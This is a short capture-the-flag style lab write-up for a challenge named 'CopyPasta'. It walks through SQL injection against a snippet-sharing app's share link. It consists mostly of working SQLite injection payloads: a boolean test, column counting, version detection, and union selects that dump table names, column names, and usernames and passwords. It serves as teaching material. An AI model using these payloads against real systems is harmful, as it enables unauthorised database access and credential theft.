# CopyPasta
Level: Easy\
Points: 10\
Type: Daily Challenge
Lab Interface
after viewing any snippet, we have option to share, which gives us link of snippet
Possible SQLi
Using simple payload `' or 1=1— -` proves, it is vulnerable to SQLi
finding number of columns
`' order by 7-- -` gives error, hence the number of column is 6
using `' union select 1,2,3,4,5,sqlite_version()-- -` confirm database is sqlite, [visit here for more info](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)
dumping table names using
```
' union select 1,2,3,4,5,group_concat(tbl_name) from sqlite_master where type='table'-- -
```
`users` table looks interesting.
Next: dumping column names from table `users`
```
' union select 1,2,3,4,5,group_concat(name) from PRAGMA_TABLE_INFO('users')-- -
```
dumping `username` and `password` columns from `users` table
```
' union select 1,2,3,4,username,password from users-- -
```
